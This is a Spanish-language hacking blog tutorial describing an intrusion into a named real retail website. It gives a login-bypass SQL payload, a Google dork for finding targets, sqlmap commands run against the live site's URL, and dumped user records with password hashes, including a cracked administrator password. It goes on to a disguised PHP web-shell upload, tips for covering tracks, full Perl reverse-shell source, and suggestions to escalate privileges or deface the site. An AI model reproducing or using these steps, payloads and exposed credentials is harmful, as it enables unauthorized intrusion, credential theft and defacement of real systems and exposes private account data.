Intrucion a un Servidor Por Sqli y Obtener shell Remota ~ HD_Breaker Seguridad Informatica

domingo, 24 de junio de 2012

Intrucion a un Servidor Por Sqli y Obtener shell Remota


Intrucion a un Servidor Por Sqli y Obtener shell Remota


1) Conceptos Basicos de Netcat
2) Buscar Vulnerabilidad Sqli
3) PhpShell
4) PerlShell (Reverse Conection)

Primero que nada Me precento soy HD_Breaker y pretendo dar a conocer una falla que la gran mayoria de los Administradores Conocen,
pero no por esto es menos probable q exista en un Servidor.

1) Conceptos Basicos de Netcat

Primero q nada Necesitamos saber los conceptos basicos de tranferencia tcp/ip q es un puerto y q servicios corren
para esto utilizaremos nuestra Navaja Suiza (Net Cat)

Para los q no sepan Utilizarla aqui una breve descripcion de los comandos mas utilizados

Ncat -l -p "N" -vv "IP/Domain" -e "Commando"


Esta linea lo q hace es

-l (Listen) Pone a la escucha el puerto -p (N = numero de puerto) para recivir peticiones entrantes,
-vv Doble Vervose, esto muestra en pantalla todo lo q sucede atraves de la coneccion, IP ip/dominio al q se van a realizar las peticiones
(si no se coloca nada se tomara localhost), -e Ejecuta un comando al conectarce ej -e cmd

Ncat -l -p 9669 -vv 192.168.1.58 -e cmd
Esto si lo utilizamos en modo Servidor a netcat poniendo a la espera un servicio cmd atras del puerto 9669 en una ip local 192.168.1.58
(para acceder desde el exterior sera necesario tener un no-ip, dyndns,etc, abrir los puertos en el modem y hacer un Forwarding a la ip local correspondiente)

Explicacion Grafica


PC cliente ----> Servidor "Netcat" (brinda shell)
PC Cliente <---- Servidor "Netcat"

Desde este momento todo comando enviado desde PC Cliente, sera interpretado por el Servidor y respondera nuevamente hacia la PC Cliente

Netcat Tambien se puede usar como Cliente de la siguiente manera

Ncat -vv "IP" "Puerto"

De esta manera Ncat se conectara a la IP:PUERTO deseado

2) Primero q nada que es una vulnerabilidad SQL

Como todos sabemos SQL es una base de datos donde atraves de peticiones especiales puede escribirce y recivir informacion dentro de ella
Esto se utiliza mucho en las web con contenido dinamico q requieren q el usuario se registre

Un uso comun de SQL y PHP se ve en los foros y en las web donde el usuario debe logearce

EL SOURCE:


<%
usuario=request.form("usuario")
pass=request.form("pass")

sql="SELECT * FROM usuarios WHERE user='" & usuario & "' and pw='" & pass & "'"
%>



Analicemos, este codigo lo q hace es pedir al usuario q ingrese usuario y contraseña
para luego compararlo y ver si existe dentro de la base de datos (TRUE) si el usuario no existe devuelve (FALSE)
y dira el clasico mensaje "Error usuario y/o password incorrecto"

Conociendo esto q pasa si el usuario ingresara algun codigo donde el resultado aunq no existiera en la base de datos
devolviera a la sentencia anterior TRUE

Ej

Si agregaramos un usuario existente por ej Admin y en password ' or ''=' esto resultaria true

SELECT * FROM usuarios WHERE user='Admin' and pass='' or ''='

esto resultaria q al procesar la sentencia el usuario existiera eso devolveria True y el '' or ''='' Simpre devolvera true
ya q el vacio siempre sera igual al vacio esto devolvera true y baypassearemos el login y accederemos a la cuenta de Admin sin saber su password

Esto es un Ejemplo basico hoy por hoy es casi inexistente demas esta decir q para q esto funcione las Magic Quotes deben estar desactivadas.

Como buscar una pagina vulnerable a SQLi

Existe Muchos Dorks de busqueda en Google un ejemplo seria

inurl:*.php?*=* site:.com.ar

Esto buscaria todas las paginas php con algun modulo dentro de los sitios .com.ar

Vamos a un Ejemplo Practico




www.cetrogar.com.ar/result.php?cat=6

Si en esta Direccion que Encontramos con nuestro Dork borramos el 6 y colocamos una ' (comilla)
automaticamente develaremos el siguiente error en el q radica la posibilidad de q la web sea vulnerable a Sql Injection


http://www.cetrogar.com.ar/result.php?cat='
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1


Dado a conocer esto, podemos realizar el Injection a mano o con alguna herramienta como SQLMAP

Para mas Informacion sobre Lograr Sqli Manualmente Presento el Post de mi Amigo Antrax donde se explica detalladamente como lograrlo:

http://www.antrax-labs.org/2012/01/sql-injection-desde-cero.html

Nos vamos a Sqlmap


Parametros Basicos

--url="URL+Modulo" --proxy="http://Proxy/" --dbs --tables --columns --dump

Siendo la web Injectable los parametros haran los siguiente

--url="Establecer URL Y MODULO Injectable" (http://www.cetrogar.com.ar/result.php?cat=6"
--Proxy="http://Proxy/" (IP del proxy) (Opcional)
--dbs Mostrara todas las bases de datos que Posee la web vulnerable
--tables Mostrara Todas dentro de una Base de datos ya seleccionada
--columns mostrara todas las columnas por la q esta formada la Tabla seleccionada
--dump mostrara la informacion Contenida en esa Tabla

Ejemplos

sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" --dbs

Esto nos devolvera Todas las bases de datos q corren en la web

available databases [2]:
  • cetrogar
  • information_schema

Seleccionamos la Base de Datos Cetrogar y pedimos q nos devuelva sus tablas de la siguiente manera

sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar --tables

Nos Mostrara lo siguiente:


| activadores                         
| actualizacion_concurso         
| bancos_tarjetas                   
| beneficios_novios                 
| casamientos                         
| casamientos_articulos           
| categorias                           
| cetre_productosbackup       
| cetro_productos                   
| cetro_productos_cosquin     
| cetro_productos_jesusmaria 
| cetro_productos_mayo         
| cetro_productos_tostado     
| cetro_usuarios                   
| cetroplus_categoria             
| cetroplus_productos           
| envio                           
| envio_postales                 
| gerentes                         
| grupos_concurso             
| grupos_vendedores         
| localidad                       
| log                             
| marcas                         
| novedades                   
| origen                         
| origenesexcel               
| pais                             
| participantes_concursomama 
| postales                         
| premios                         
| premios_aperturasuc         
| premios_aperturasuc2       
| premios_morteros             
| premios_participantes       
| premios_participantes_aperturasuc
| premios_participantes_aperturasuc2
| premios_participantes_morteros   
| productos                       
| promo_ganantodos                 
| promociones                     
| provincia                       
| puntos_cetroplus                 
| subcategorias                   
| subproductos                   
| sucursales                       
| usuarios                         
| usuarios_cetroplus               
| usuarios_concurso               
| vendedores_mensual               
| vendedores_trimestral           


Aqui la magia Nos Interesa la tabla usuarios vamos a ver q tiene dentro de la siguiente manera

sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar -T usuarios --columns

Nos devolvera:

+--------------+----------------------+
| Column       | Type                  
+--------------+----------------------+
| ID                | smallint(6) unsigned
| nivel_acceso | smallint(4) unsigned
| pass             | tinytext                  
| usuario         | tinytext                
+--------------+----------------------+

y por fin con --dump nos devolvera los usuarios y contraseñas contenidas en su interior


sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar -T usuarios --dump

+----+--------------+-------------------------------------------+-----------+
| ID | nivel_acceso | pass                                               | usuario
+----+--------------+-------------------------------------------+-----------+
| 8  | 0| a62039e2dd75ceffa3b72c632010c53a (ale123) | alejandro
| 7  | 0| 992112e53d3eb06c6bb87701a4574052            | silvanac
| 6  | 0| 9ae4b79178aaaebfe3ca8d0cc933ea78              | fernando
| 5  | 0| 34e09b9b490217de9c31f528a2a8a57d             | rocioc  
| 3  | 0| 1d96afbde5ac96a4b3d9814030f541c5               | marianoq|
| 2  | 0| 704b037a97fa9b25522b7c014c300f8a (4dm1n)  | Admin
+----+--------------+-------------------------------------------+-----------+


Bueno ya teniendo Usuario y Password (desencriptado md5) de Administrador lo q nos queda ahora es encontrar el AdminPanel
(ahi muchas formas de conceguir esto y no me cetrare aqui existe muchos tutoriales en la red)

http://www.cetrogar.com.ar/admin/

y aca nos aparece nuestro querido panel de logeo


Ingresamos los datos correspondiente mente y accedemos
(Recomiento utilizar algun metodo de anonimato, no queremos q se enteren q andubimos por donde no debemos)

Llendo al apartado Casamiento/ABM Beneficios por localidad Podremos Subir una "Imagen" aqui utilizaremos nuetra imaginacion y subiremos una phpshell
Primero q nada una ves seleccionada la imagen, copiaremos su URL para saber donde se situa, yo elegi esta:

http://www.cetrogar.com.ar/imgs/beneficios/1/amerian%20hotel.jpg

(Haremos un respaldo de la imagen q editaremos para luego resubirla y no hacer q CANTE mucho la intrusion)
Siendo:
http://www.cetrogar.com.ar/imgs/beneficios/1/
donde se almacenan las fotos

Subimos Nuetras phpshell


y volvemos a subir la foto original (respaldo para q no cantara)
ya que si no lo hacemos la imagen aparecera como rota


Una ves Hecho esto accedemos al directorio donde se suben las imagenes seguida de nuestra shell (en mi caso ee12.php)
http://www.cetrogar.com.ar/imgs/beneficios/1/ee12.php


Nos queda subir una ReverseShell en algun codigo de programacion yo eleji Perl y aca el Source:
#!/usr/bin/perl

use IO::Socket;

print q(

============
 HD_Breaker
============
);
$ARGC = @ARGV;
if ($ARGC != 3){
print "\nUsage: rsh.pl   ";
exit(0);
}

$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;

print "
Connecting to $host ...";

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
|| die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
|| die "[-] Cannot Connect to $host";

print "\n
Connected!";


open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

print "\n .::Powered By HD_Breaker";
if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}

if ($OS == "-w"){
$ejecutor = "cmd";
system($ejecutor);
}

subimos el archivo en mi caso rsh.perl al servidor con la Opcion Upload de nuesta phpshell



He aqui el porq este Tutorial Empeso por el uso de Netcat

Abrimos Nuestra consona y ponemos a la escucha un puerto

Ncat -l -p 9669 -vv 192.168.1.2


y ejecutamos el ReverseShell desde nuestra phpshell


y ya tenemos una shell Resta Escalar los priviligios o simplemete hacer un deface


Demas Esta Decir que la apertura de puertos y el Forwarding de los mismos corre por cuenta del lector

Renuncia: Este tutorial es puramente Educativo, Cualquier uso Criminal que sea dado por otro usuario queda bajo su entera Responsabilidad.

HD_Breaker

0 comentarios:

Publicar un comentario